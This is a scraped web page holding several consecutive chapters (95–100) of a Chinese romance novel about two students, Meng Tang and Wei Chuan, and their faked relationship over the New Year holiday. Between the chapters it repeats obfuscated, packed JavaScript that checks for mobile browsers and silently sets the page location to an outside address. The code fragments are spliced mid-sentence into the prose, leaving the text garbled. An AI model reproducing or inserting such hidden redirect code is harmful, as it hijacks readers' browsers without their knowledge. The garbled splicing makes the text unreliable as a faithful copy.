l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892648|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟棠回到房间后,坐在窗前愣愣出神。 她和魏川的假情侣身份不适合继续下去了,最起码,他们两个要心知肚明的。 当晚,孟棠久违地做了个梦。 梦里,只有一句话最清晰——“她爸坐牢了,上梁不正下梁歪,我怎么可能喜欢她?” “你前两天还说要告白的。” “嘁,玩笑而已,我怎么可能看上她?” 孟棠再睡不着,玩手机玩到了天亮,还把田聿21号的那条动态截了图。 吃完早饭,她将图片发给了魏川,说:“我那天看见你了。” 魏川收到语音的时候已经过了中午。 他蹭一下从床上蹦起来,紧着一颗心,颤着一双手给孟棠打去电话。 但被挂断了,显然是生气了。 魏川赶紧用语音回复: “你听我解释,我不是故意瞒着你的,我真是觉得当时出现不太合适。” 魏川语气很急,语速也快。 孟棠回道:“你把来雁清的事原原本本说一下。” 魏川不敢有一丝一毫的隐瞒,全都交代了: “你当时手机坏了,几天没联系上,我憋着担心,好不容易有半天时间,就想着过来看看,反正两地也不远。” “接到你信息的时候,我也上了车,到你家门口,我见你们走了,鬼使神差让司机跟了上去。” “那人跟你有点像,我猜到了他的身份,当即就让司机回头了。” “那样的情况,我怎么可能还在你面前出现?” 孟棠笑了声,声音很淡:“谢谢你维护我的自尊心。” 魏川一慌:“孟棠,我真的没有别的意思。” “曾经也有人跟你说过一样的话。”孟棠的语气带着点迷茫的冷意,“魏川,咱们还是做朋友吧,距离开学也就一个月的时间,再拖下去也没什么意义。” 当一段关系停滞不前,需要有人主动去打破。 她也不愿意永远处在这样的朦胧里。 她在魏川面前暴露了一切,他要么接受,要么远离。 魏川血液凝固:“你什么意思?” “咱俩一直都是假的,不是吗?”孟棠冷静道,“我只是让事情回归正道。” 这是要“分手”? 第95章 我今天必须出去 足足愣了十来秒,魏川才找回自己的声音:“为什么?” 孟棠回他:“没有为什么,难道你要这样欺骗彼此,欺骗大家,一直这样下去?” 魏川说:“我没有打算一直这样,你是因为我去雁清没告诉你,看到了你的秘密才生气的吗?” 孟棠沉默了一瞬,说:“这件事,麻烦帮我保密。” 魏川心脏一刺,他肯定不会说,但孟棠这话,明显是不信任他。 她父亲坐过牢,这件事对她来说确实敏感。 他怎么可能会跟别人说? 他想护着她,自然想护着她的全部。 “我不会说。”魏川的声音很沉闷,还有点委屈巴巴的感觉。 “谢谢。” 孟棠直接挂断了电话。 魏川一愣,当即打了回去,但孟棠没接。 人在自我保护的时候,会推开一切她认为有风险的人或事。 孟棠现在就处于这种状态。 她害怕别人知道她父亲坐过牢,魏川在心里有模有样地分析。 “操。” 魏川慌了一瞬,冲进衣帽间换下了睡衣。 刷了牙,抹把脸,将充电宝塞进包里,拿着车钥匙下了楼。 走楼梯都没什么耐心,一步岔开三四个台阶。 魏立峰从外面回来,被冲到他跟前的儿子吓了一跳,抬手一把抓住,将人往后扯了扯,轻斥了声: “还想打篮球就给我好好走路,也不怕摔了。” 魏川敷衍地应了声:“爸,您回来了。” “等等。”魏立峰再次将人拦下,“你抓着车钥匙要去哪儿?” “有点事要出去一趟。”魏川挣了挣,“爸,您松开我。” “你二姐三年没回家,今天下午回来,你给我待在家,哪都不许去。”魏立峰沉下脸色。 魏川拧紧了眉心:“爸,我真的有事,十万火急。” 魏立峰霸道地说:“什么事,我找人帮你办。” “你办不下来。”魏川顶撞了一句。 “老子什么事不能给你办下来,你二姐今天回家,你必须跟我们一起去接人。” 魏立峰年轻的时候,脾气不太好,上了年纪温和了许多。 但不代表就没了脾气,魏川稍有顶撞,他也不会惯着。 魏川的火也上了头,跟他老子犟:“我今天必须走。” “把人给我拦着。”魏立峰朝门外吼一声,两个安保堵了上来。 魏川轻嗤了声,对着两个安保,一副纨绔子弟的模样:“怎么?敢跟我动手?” 两名安保面面相觑,该听谁的? 魏立峰扬手:“打不死就行。” “魏立峰。”楚茵急匆匆下了楼,“你干什么呢?” 魏立峰指了指魏川:“让他自己跟你说。” 楚茵拉过魏川:“怎么了?” 魏川说:“我有点事,明天回来。” “可你二姐今天下午回来,她在部队三年没回,好不容易团聚了,你这……” “二姐在家过年,我明天回来给她赔罪。”魏川用眼神哀求楚茵,“妈,我现在必须要走,我真的有很重要的事。” 楚茵叹气:“那你告诉我,你要去哪儿?去做什么?” 魏川摇了摇头:“我暂时不能说。” 感情是他的私人问题,没有解决好,他谁都不想说。 “不能不去吗?”楚茵避开魏立峰迫人的视线,扯了把魏川。 魏川倔强道:“必须要去。” 魏立峰冲安保抬了抬手:“好话说尽还是这臭德行,给我拦着,收了他的车钥匙和手机。” 魏川一听,撒腿就跑。 两个安保上来拦人,魏川脸色一沉,吼道:“滚开。” 魏立峰气急:“把他给我按着,反了天了,再叫两人过来。” 楚茵上前拦着丈夫:“有话不能好好说吗?” “你看他那样儿。”魏立峰指了指魏川,“去接思琳是一早定好的事,放假了在家睡半天不知道去处理自己的事,现在跟我犟上了,我看谁能犟得过谁。” 安保对魏川赔笑:“少爷,得罪了。” 魏川平日里体能训练不是假的,围着喷泉绕了几圈也没让抓着。 直奔车库的路上,绕过来两个安保,四个人对付一个,他们又有武术傍身,分头堵了魏川的所有去路。 结果显而易见,魏川打不过四个,最后被没收了手机和车钥匙,被关进了房间。 “操。” 魏川将自己砸向床铺,抬手碰了下颧骨。 刚才反抗的时候不小心碰到了,已经肿了,老魏还真是六亲不认。 — 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892649|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年过年比较迟,情人节推到了年前。 两天没有收到魏川的任**息,孟棠大概明白了他的意思。 她其实理解魏川的选择,孟怀璋本就是她洗不清的污点。 在家待着闷,她和老爷子说:“爷爷,我出去转转。” 孟怀璋给她递了把雨伞:“就在附近转转吧,下雨了。” 孟棠盯着他看了会儿,有什么办法呢?这人是她的父亲。 孟棠垂下眼睫,接过了伞。 他既然出狱了,浪子回头,她不可能不让他回家。 老爷子余光瞥了眼孟棠,知道她在烦什么事。 “不应该啊。”他啧了声,“魏川这小子……难道我看走眼了?” 情人节下小雨,也不知道算不算浪漫。 沿着石板出了巷口,孟棠在路边拦下一辆车。 司机问她去哪儿,她脱口而出:“水月寺吧。” 司机笑着打趣:“人家约会都去逛商场,你跟你男朋友去寺庙?” 孟棠笑了笑:“我没有男朋友,去祁个福。” 司机尴尬地摸了把头脑。 大街小巷霓虹灯闪烁着暧昧的光,雨水的泥腥味混着玫瑰的香甜。 情侣们牵着手,淋着雨,笑得开心,只有孟棠形单影只。 到了水月寺后,小雨停了。 孟棠收起伞,在上山的必经之地停留了一瞬。 她看了眼宽敞平缓的大道,转头踏上了陡峭不规则的石梯。 走的是上次和魏川一起来的路。 这一路,孟棠走得很慢,到达观瀑亭时歇了歇。 冬季崖壁上的瀑布变成了涓涓细流,她靠着栏杆看了会儿,继续朝上爬。 山顶的祈福树,满目绯红,像玫瑰的颜色。 也算应了景。 上次魏川那根飘带系在了哪个位置来着? 孟棠站在树下,仰起头寻找,似乎要窥探他曾经留下的一笔心思,用来抵债。 抵他撞破她最不堪一面的债。 魏川气喘吁吁跑上来时,正好看到她围着树缓缓地转。 老天待他不薄,她还真在这儿。 撑着膝盖喘了会儿,魏川抬脚上了最后一层台阶。 “你在找我的祈福飘带吗?” 孟棠踮着的脚骤然落地,侧眸望去,魏川站在了她眼前,魔法似的。 第96章 那谈一下? 仰头的时间太久,平视时,孟棠有一瞬间的眩晕。 她扶住祈福树,看向魏川:“你怎么在这儿?” 魏川狠狠呼出一口气,解释道:“你跟我说我们做朋友的那天,我二姐从部队回来。” “她三年没回,家里事先说好一起去接人的,我也答应的。” “但我闹着来找你,被我爸关了起来。” “家里有保镖和监控看着,我试了很多次,没有一次出逃成功。” “今天早上才解了禁令。” 魏川一字一句地给孟棠解释,**的是,他刚开车出了家门,魏立峰就给助理拨了一通电话。 自然是查他的动向,想看看什么人能让他在除夕的前一天还这么火急火燎。 只怕这会儿,他来雁清的事早就被家里知道了。 “我心急如焚赶到雁清,熟门熟路摸到石板巷子42号,却被告知你不在家。” “我问老头,他说他也不知道你去哪儿了。” “我去了你家附近的非遗馆,又找了一个片区的商场,我来水月寺,只是死马当活马医。” “没想到,你真的在这里。” “我给你打了好多通电话,你都没接。” 说到最后,像是委屈的告状。 孟棠从包里翻出手机,看着刺目的“17”,抿了抿唇,说:“抱歉,静音了。” 情人节,他跑来了雁清,明天还是除夕。 孟棠心下微动,攥紧了掌心。 魏川往前,鞋尖几乎抵上孟棠的鞋尖,惊得她后退,撞到了树上。 他抬手垫了下她后脑勺,说:“没关系,我已经见到你了。” 孟棠抬起稳住心神,抬头说:“明天是除夕。” 听出她的言外之意,魏川气笑了。 一口气爬上来,气都没喘匀就跟她解释一大堆,她竟然说他不该来这儿。 魏川抬手,虎口卡住孟棠的下巴,指腹捏住她的脸,将她托了起来。 孟棠的唇连同四周的软肉往中间挤压,她毫无防备地“唔”了声,眼神晃过一抹呆滞。 魏川轻笑了声,倾身靠近:“为什么跟我分手?” 孟棠眼睛骤然睁大:“什么分手唔……” 魏川用了点劲儿,使得孟棠嘴巴微张,话都说不出来。 好似只要说的是他不爱听的,他就一直这样捏着她、阻止她。 孟棠蹙着眉心,说了句疼。 魏川这才松开她。 孟棠揉了揉脸,说:“你用词不准确,我们不算分手,因为没谈过。” “那谈一下?”魏川跟她打太极,就这么稀里糊涂在一起也挺好。 孟棠瞪他:“你别闹了。” “我怎么闹了?是你自己说的开学再分,现在还没开学。” 孟棠:“开不开学对我们来说并没有什么区别。” 看来她是铁了心。 魏川沉默了一会儿,问:“是因为我知道你父亲的事吗?” 孟棠十分坦诚地点了点头:“有一部分原因。” 魏川追着问:“还有一部分呢?” “还有一部分是我觉得我们应该结束这种关系了,我不想来年再跟你装一个学期的假情侣。” “我也不想跟你装。”魏川本就是带着豁出去的心来的,“我想跟你假戏真做!” 瞳孔不可抑制地颤了颤,孟棠低头看了眼自己的脚尖。 意料之中的话,可她现在没有办法给回应。 “孟棠,我——” “你别说。”孟棠忽然阻止他,“你说了的话,我们或许连朋友也没得做。” “为什么?”魏川不解。 “因为我不会答应。” 魏川怔住,他怎么漏了这一茬? 傻啦吧唧地赶来雁清解释,以为说清楚就能让孟棠接受他。 却没考虑过孟棠喜不喜欢他的问题。 “一点可能也没有吗?”魏川不死心地问。 孟棠没有把话说死:“现在没有。” 她对他,感情还不算明朗。 她不想在纠结的时候交托自己的爱情。 也不想回他一句“试一试”,爱情不应该被模糊。 他们之间横亘着孟怀璋。 他是一颗不定时的**,如果魏川真要跟她在一起,要接受的是她的全部。 所以不能只凭一股冲动去草率地下决定。 魏川心酸一笑,转头愣了会儿,说:“你能不能等我一下?” 孟棠:“等你什么?” 魏川转头去向寺里借了木梯,架到了树上,还让一个小和尚帮他扶着梯子。 孟棠怔了下:“你要干什么?” “我给你看个东西。” 孟棠说:“我不看,你下来。” 魏川说:“我一定要找到。” “你下来,别摔了。” 魏川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892650|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从满树红绸的缝隙中对她笑了笑:“关心我啊?” 孟棠有点生气了:“你一个打篮球的,万一摔了,你觉得划算吗?” “我很快就能找到。” 天上又下起小雨,孟棠更急了:“魏川,你下来,别找了,那么多红绸,你要找到什么时候?” 雨水打湿了两人,魏川魔怔似的,在数不清的飘带中寻找自己挂的那一根。 “我让你别找了,你再这样,我走了。”孟棠是真的怕他摔倒,受伤了就不能参加比赛。 魏川充耳不闻。 孟棠撑起伞,径自下山去。 小和尚在树底下喊:“女客人下山了。” 魏川侧眸一瞥,只瞧见一抹水墨晕染的油纸伞。 没一会儿,连人带伞消失在他的眼前。 魏川苦涩地扯了下嘴角,就在这时,一根红绸从雨中坠落,他下意识抬手接住。 魏川一喜,三两下跳下地,谢谢小和尚后,抓起包就往山下跑。 激动萦绕心口,老天爷都看不过去,将他的红绸给了他。 孟棠离开,完全是因为魏川不把他自己当回事。 若是跌了碰了,别说贺教练,他那些球迷就能将她撕成碎片。 他在那一刻,也没有考虑到她。 “孟棠!” 身后传来魏川的声音,孟棠停了脚步。 两个人,一个在雨中,一个在伞下,隔着山上的雨雾相望。 魏川笑了笑,头上沾了一层湿漉漉。 他下了几个台阶,将红绸给她:“找到了。” 飘带晃动,孟棠看到了尾部的一朵海棠花。 魏川紧张地看着她,说:“或许从那个时候,我就喜欢你了。” 孟棠上前,高高举起伞,没过他的头。 她看起来并不高兴。 “开学后,麻烦你把玉露带给我。”孟棠避重就轻,“我先回了。” 还是不行?竟然还是不行! 他跟她说喜欢,她却要那盆被精心伺候的多肉? 魏川难掩受伤神情,一把将她拽了回来,语气嘲讽:“你还喜欢许鹤清吧?放心……” 喉间一涩,魏川顿了顿,又道:“开学一定给你带着,今天你就当我没来过。” 他像一阵风,越过孟棠的肩线。 飘带被雨水打湿,落在了一旁的枯枝上。 孟棠微微弯腰,将它捡了起来。 第97章 哦,只还了我的 魏川顶着雨离开了雁清。 灰头土脸地回去,他嫌丢脸,约了秦渊去喝酒。 喝醉回家,被他老子斥责了一顿。 “明天就是除夕,你瞅瞅他这德行?”魏立峰转头跟楚茵抱怨。 楚茵给魏川盖上被子,拉着丈夫轻手轻脚出了门。 “你推**什么?” “小点声,你不是让助理查小川干什么去了?”楚茵将人推到楼梯口,“查到没有?” 魏立峰说:“去了雁清,别的不知道。” 若是深查,被魏川知道,他一定闹得家里鸡犬不宁。 他忙得很,没空应付儿子。 “雁清?”楚茵满脸疑惑,“他去那儿干什么?” 魏立峰:“……不知道。” 楚茵埋怨他:“要不你就别查,哪有查一半的道理,看小川苦巴巴的样子,不会谈恋爱了吧?” 魏立峰若有所思:“谈恋爱喝成这样?八成是失恋了。” 楚茵惊讶:“还有看不上小川的女孩?” 魏立峰无语:“……你当你儿子是人民币啊,人见人爱。” 楚茵懒得理他,屁股一扭下楼去了。 她得去弄清楚她家魏川到底怎么了。 “罪魁祸首”也不太好,蔫巴巴地在家数着时间过日子。 孟家老宅一如既往地安静,即便是过年。 孟棠开了电视当做背景音,老爷子和孟怀璋喝着酒,方姐挨在孟棠一起坐。 石板巷不在市中心,在雁清偏周边的地方。 晚饭开始,噼里啪啦的鞭炮和烟火此起彼伏。 耳朵里听了热闹,眼睛也要见识见识。 吃了团圆饭,孟棠出了院门,看左邻右舍的小孩甩着鞭炮和仙女棒。 也不知道是不是她一个人看着可怜,小孩还给她塞了两根仙女棒。 孟棠追了两步说:“我没打火机。” 小孩十分无奈,回头给她点燃。 一个还劲劲儿地说:“姐姐,要不要给你拍照发朋友圈?” “发朋友圈?”孟棠挑了下眉。 “对啊,今天是除夕,纪念一下。” “谢谢。”孟棠将手机给过去,也不好拂了小孩的心意,“拍一张吧。” 仙女棒快要烧完了,好在小孩速度快,孟棠接过一看,拍照技术还挺不错。 她想着给小孩拿点吃的,叫也叫不住,一溜烟全跑了。 孟棠打开微信,心想都拍了,发一下应个景吧。 发出去后没五秒,谢泠音点了赞。 紧接着,谢泠音在八人群里将她的朋友圈截图,艾特了魏川:你拍的? 八人群还是之前魏川请客建立的,两个寝室的人都在里面。 孟棠的心一下跳到了嗓子眼,趁着魏川没影儿,赶紧回复:【不是,有几个小孩路过,他们给我拍的。】 谢泠音发了个起哄的表情包:【谈了恋爱果然不一样啊,让你一个常年不发朋友圈的人都蠢蠢欲动了,给某人看的吧?】 孟棠无力:【不是。】 石岚扔出一个“还害羞了”的表情包。 孟棠在手机上输入“我和魏川”四个字后,突然一顿。 大家都在过节,她要是说了简直扫兴。 孟棠干巴巴回了个笑脸。 没一会儿,许鹤清和梁衡他们也冒了出来,发了烟花和年夜饭的视频。 聊了半小时,独独魏川没有出来应一声。 梁衡在群里一个劲地艾特他,问他哪儿去了。 孟棠捧着手机坐在门槛上,灯光照亮了她脸上隐隐的期待。 过了三分钟,魏川终于回了:【在呢。】 少爷手一挥,先甩了一个红包出来。 几秒内抢完了,孟棠硬着头皮点开了红包。 她要是不点,石岚她们肯定又有诸多疑问和催促。 金额一出来,孟棠一愣,竟然是5.20,这个特殊的数字也让群里刷屏嗑上了他俩。 魏川气笑了,不喜欢他,红包倒是点得快。 他就是试试看她会不会点。 今天除夕,他猜到孟棠不会扫兴,将两人“分手”的事说出去,果不其然。 这红包拿着手机发烫,孟棠赶紧也发了一个红包出去。 魏川第一个抢到的,看到金额差点没扔掉手机。 “操,十一块一毛一。” 这狗手机是知道他和孟棠“分手”了吗? 孟棠看到“11.11”的金额没忍住扯了下嘴角,魏川这会儿指定在骂手机。 李卓哈哈大笑:【你们两口子出了400,抢回去十六块三毛一?】 魏川艾特许鹤清:【赶紧吐出来,就你抢的多。】 许鹤清发了一个红包出来,几秒内瓜分干净。 孟棠是最后一个点开的,抢了5. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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各个以表情包宣战,孟棠不玩的话,太显眼,也跟着大伙儿后面发了个同意的表情包。 第98章 你怎么不自己说 游戏是轮流当主持人,用软件自带的各种各样的emoji表情。 李卓是第一个,他发了猴子、日历、马和月亮。 石岚第一个答对,看着“猴年马月”这么直观的答案,孟棠明白了玩法。 她打开另一个软件,搜刮了好多这种emoji表情成语。 玩了两三个回合,孟棠觉出一点趣味,直至魏川发了四个emoji表情,所有人一头雾水。 一个红叉,一颗红心,紧接着又是一个红叉,最后是一个小人拽着降落伞的图案。 “叉……心……”孟棠嘀咕着,“不对,这个‘x”是什么意思?无?无心无……降?伞?不对不对……无,没?没心没……飞?没心没肺?” 孟棠试探性地发了“没心没肺”到群里。 魏川:【答对了。】 梁衡吐槽:【川哥,emoji表情第一列的笑脸里不就有肺部图案吗?你搞这么抽象干什么?】 魏川:【我乐意。】 李卓:【哎呀,这人为了赢已经不择手段了。】 其他人纷纷给魏川发了红包。 很快,轮到魏川当主持人,只不过他出题有点慢,一分钟后,发了一颗钻石和两排长的黑色的心。 【给你们上点难度,这两个表情的组合,打四个字成语。】 所有人:【……】 哪有这样式的? 魏川:【不是,这看不出来吗?很直观了。】 谢泠音艾特孟棠:【要不你来猜?】 孟棠:【我也不知道啊。】 石岚也鼓励她:【你仔细瞅瞅,说不定他的抽象只有你能懂。】 孟棠干笑:【我试试吧。】 一颗钻石和两排黑心?钻石是石头,这又长又黑的心—— 孟棠猛地一愣,魏川是在含沙射影吗? 犹豫了一瞬,孟棠再次试探性地回复:【铁石心肠?】 魏川十分高冷地回:【嗯。】 李卓:【操,到底怎么猜出来的?川哥,你俩是不是**呢?私底下聊得飞起,就为了赚我们米?】 梁衡:【附议。】 许鹤清:【我明白了,钻石是最坚硬的石头,心是黑色的,还排那么长下去,可不是铁石心“长”嘛。】 李卓:【川哥,我从来不知道你这么抽象,关键人孟棠还答出来了,果然一个被窝睡不出两种人。】 孟棠满脸黑线确认了魏川是奔着她来的,又是没心没肺,又是铁石心肠。 她飞快地在手机上输入:【继续。】 她倒想看看还会骂她什么。 偏偏这次,魏川没有搞抽象,很直观的,谢泠音第一个答了出来:【痴心错付?】 魏川:【答对了。】 最后一个是“人间不值”。 孟棠彻底无语了。 ……所以是在借着游戏说他自己吗? 【不是,魏川你怎么回事?大过年的怎么尽发些不吉利的成语?】谢泠音发现了不对劲。 李卓:【都说了,他为了赢,已经不择手段了。】 魏川:【没有啊,祝你们有情人终成眷属。】 孟棠似乎已经能脑补出他此刻的模样。 说不定勾着笑,只是笑得有些讽刺,表情也很淡。 这个游戏,八个人玩到了十二点。 十二点一到,满屏的电子烟花在孟棠眼前炸开。 群里充斥着“新年快乐”。 他们不知道,群里有两个人并不快乐。 大年初一,孟棠没出去玩,吃完饭一直待在自己的房间。 她的书桌上有个丝绒袋子,里面装了几件小玩意。 孟棠将书桌上的红飘带叠好放进去,里面还有小鱼筷托、黄连木树叶的书签,以及那束告白花礼上的便笺。 这些东西年后都要带着去z市。 观音像的修复紧着时间,她初七就要回去。 当天,寝室群里,谢泠音不经意间聊到观音像的修复。 问孟棠什么时候回去,孟棠说了时间。 谢泠音转手就截图给了魏川:【你自己怎么不问啊?】 魏川道了谢,转头就去找了杨可。 他俩现在这样的情况,孟棠绝对不会再去住康铂。 但是别的地方,他不放心。 魏川仰头叹了声气,觉得自己咸吃萝卜淡操心,都分手了,还关心什么? 可要真让他不理会,他确实也做不到。 王觉躲着偷袭孟棠的事,着实给他整出了点阴影。 魏川自嘲一笑:“孟棠自己都没阴影,我在这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第99章 赶紧的,嘴巴张开 下了高铁,孟棠推着箱子去了和杨可约好的出口。 她还在四处张望,杨可在她右前方的位置朝她挥了挥手:“孟棠!” 孟棠头一偏,见着人,步子不自觉地加快。 两人短暂地抱了下,又寒暄了两句。 杨可去接她的箱子:“走走走,车停在路边呢,人太多了,咱俩可能要多走一段路。” 孟棠还以为她叫了车,也没多想。 穿过偌大的广场,越过丛丛花坛,两人来到马路边。 从栅栏的边隙挤上机动车道,路边停着一辆打着双闪的越野。 车牌是那么的眼熟。 她僵硬地转过头,问杨可:“这车是你打的?” “什么我打的。”杨可说,“你男朋友的车你也不认识了?” “那……”孟棠结巴了下,“你俩一起来的?” 杨可摇了摇头:“我打车到这里时看到了他,他难道不是来接你的?” 她从出租车下来就在路边的花坛边看到了魏川。 跟他打了招呼,问他是不是来接孟棠。 魏川没说什么,只是指了指自己停在路边的车。 “公交站后面不能一直停车,我就先来接你,他看着车。” 孟棠:“……” 魏川从车里下来,径自接过杨可手中的行李箱放到后备箱。 杨可觉得奇怪,抵了下孟棠:“你俩怎么不打招呼?发什么呆啊?” “我——” “去啊,不好意思干什么?” 杨可推了她一把,孟棠一个踉跄往前,扑进了魏川的怀中。 魏川只来得及托住她的手,掌心一片冰凉,他下意识搓了下,抬眼问孟棠:“怎么这么凉?” “不凉。”孟棠猛地抽回手,微侧过身体,小声回他,“赶紧走吧。” 魏川抿着唇,头一偏:“上车。” 孟棠上了后面的座位。 杨可一愣:“不是,你怎么不坐前面?” “我陪你。”孟棠示意她往里坐。 魏川上了驾驶位,拧开纯净水的瓶盖,仰头喝了几口。 杨可笑道:“我没事,只要你俩不在我面前亲嘴,我都能忍。” “咳咳……咳咳……”魏川猛地呛起来,下巴湿了一片。 孟棠抵了下杨可,满脸绯红。 杨可自觉失言,推了推孟棠:“给他拿张纸啊。” 孟棠从包里抽出一张纸递到了前面:“擦一下。” 魏川接过,道了声谢。 “你俩这么生疏干什么?”杨可看看前面,又看看旁边,“还是在我面前装的啊?” 孟棠:“啊,其实我们——” “中午你们想吃什么?”魏川拧上瓶盖,顺势回头问了句。 话被截断,孟棠没再提分手的事。 杨可说:“你问孟棠啊,我反正什么都吃。” 魏川转头看着孟棠:“想吃什么?” 语气听不出喜怒哀乐,眼神却隐匿着一层暗沉的情绪。 “随、随便吧。”孟棠转开视线,磕巴了声。 魏川眼皮轻扫,还直勾勾盯着人:“没有随便。” 孟棠抠了下手指,无奈地说:“火锅吃吗?” 杨可喜欢吃。 魏川“嗯”了声。 杨可知道孟棠在迁就自己,挽上孟棠的胳膊,蹭了蹭她肩膀:“爱你。” 孟棠轻轻勾了勾唇,抬眸瞥了眼魏川的下颌线。 附近就有座商场,魏川将车停稳后,双手插兜,酷酷地跟在孟棠的左后方。 电梯前等了不少人,余光里一个男人往门口挤,魏川上前一步,挡了对方的去路。 纯粹就是不乐意旁人碰着孟棠,衣服也不行。 进了火锅店,还有不少人在用餐。 孟棠刚要在杨可身边坐下,被她一把推到魏川身边。 “别跟我一起坐了,我这边放包和外套,你跟魏川坐吧。” 见孟棠没动,杨可朝她伸手:“外套给我,我给你放起来。” 孟棠察觉到魏川一直盯着自己,借以脱外套、撩头发这些小动作来躲避。 魏川稍稍让开,让孟棠进了里面的位置。 他扫了码,将手机给孟棠:“吃什么,自己点。” 他在旁边,存在感那么强,孟棠哪里有心思,将手机推给了杨可,说:“我不常来,你点。” 杨可嘿嘿一笑:“那我可不客气了。” 魏川笑道:“不用客气。” 杨可点了几样,将手机还给了魏川。 魏川看了眼孟棠,知道给她也不会点,加了几样后提交了订单。 杨可指了指身后:“我先给你俩留个互诉情衷的空间,先去调个料,待会儿再回来当电灯泡。” 孟棠犹豫了几秒,也跟着起身。 魏川靠着椅背,一腿蜷着,一腿搁在餐桌边上,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟棠紧紧闭着嘴巴,无声对抗。 魏川气笑了:“行,就在这儿耗着吧。” 孟棠气急,挣又挣不过,只能顶着滚烫的红脸张开了嘴巴。 第100章 喜欢你的朋友可能会情不自禁 杨可有点担心,见两人许久没回,起身去了卫生间。 刚踏进公共区域的门,又猛地收回了脚。 她抖了下鸡皮疙瘩:“腻歪呀。” 还是去吃她的火锅吧。 孟棠拍了下魏川的手臂:“好了没?” 只是看着有点红,魏川估计她现在是有点刺痛的,但可以忍受。 他眼角眉梢凝着心疼,下意识俯身吹了下,孟棠一惊,整个人向后退,手腕甩在了坚硬的洗手池台边。 痛! 她弯着腰扶住手腕,一瞬间,心肝脾肺都在颤着疼。 “躲什么?”魏川快气**,“我是瘟神吗?分手了朋友都没得做?” “你用词严谨点。”孟棠抬头瞪着他,“还有,朋友不会做刚才那样暧昧的动作。” 还有空纠正他“分手”这个词,魏川气笑了: “朋友自然不会对你做暧昧的动作,但喜欢你的朋友可能会情不自禁!” 见了面招呼也不打,径自上了后座,不想跟他坐在一起,躲他磕到了手…… 桩桩件件都让魏川心里泛酸。 孟棠语塞,看着他一言不发。 直至火锅店经理进来说买了药,孟棠才推开魏川回到了座位上。 杨可嚼着肉,目光在对面两人身上不断游移。 怎么感觉这两人去了趟卫生间就不对劲了? 而且,魏川没怎么吃。 杨可拿出手机,给孟棠发了条信息:【你俩怎么了?一句话也不说?】 孟棠对她摇了摇头,做了个“没事”的口型。 怕她还要问,孟棠将煮好的食物夹到她盘子里。 杨可护着餐盘,说:“你给魏川弄一点,他都没怎么吃。” 魏川半边身体侧着对她,手背撑在颧骨的位置看着孟棠,他眼珠半移,示意孟棠将煮好的放他盘子里。 孟棠笑了笑,用漏勺伸进了麻辣锅里,给他捞了一堆带红椒的牛肉。 “吃吧。” 魏川嘴巴微张,轻笑了声,但拿孟棠没办法,只能低头将能辣死一头牛的牛肉吃了。 刚吃两口,口腔涌上火辣辣的烧灼感。 魏川眼泪瞬间冒了出来,额头也沁出了汗。 嗓子不舒服地咳了两声,他又夹了第二块牛肉塞进了嘴里。 孟棠看不下去了,她羞愧! 从包里翻出一瓶坐车前买的酸奶,她碰了碰魏川的手背:“别吃了,酸奶给你。” 魏川辣得“斯哈斯哈”,拧开瓶盖,一口气喝光了。 孟棠心虚地看着他,给他递去纸巾:“还好吗?” 魏川呼出一口气,擦了额头的汗,说:“还好。” 平日他也能吃点辣,但今天这麻辣的锅底纯纯硬辣,他扛不住。 “真的没事?”孟棠有点担心,别再把人吃坏了。 魏川想说“没事”,见她担忧的神色,话到嘴边又改了口:“有点难受。” “哪里难受?”孟棠放下了筷子,一脸被唬到的担忧。 魏川仰起头,食指从喉结一路向下划到腹部,说:“从这儿到这儿,火辣辣一片。” 杨可看呆了,筷子尖夹的一片肉掉回了锅底。 这个魏川,可**太能撩了! 孟棠哪是他的对手,没见已经看呆了嘛。 杨可摇了摇头,她吃撑了! 孟棠缓慢地眨了下眼:“那怎么办?” “没事。”魏川装模作样道,“我缓一缓吧。” 孟棠小声道:“你刚才就不应该吃。” 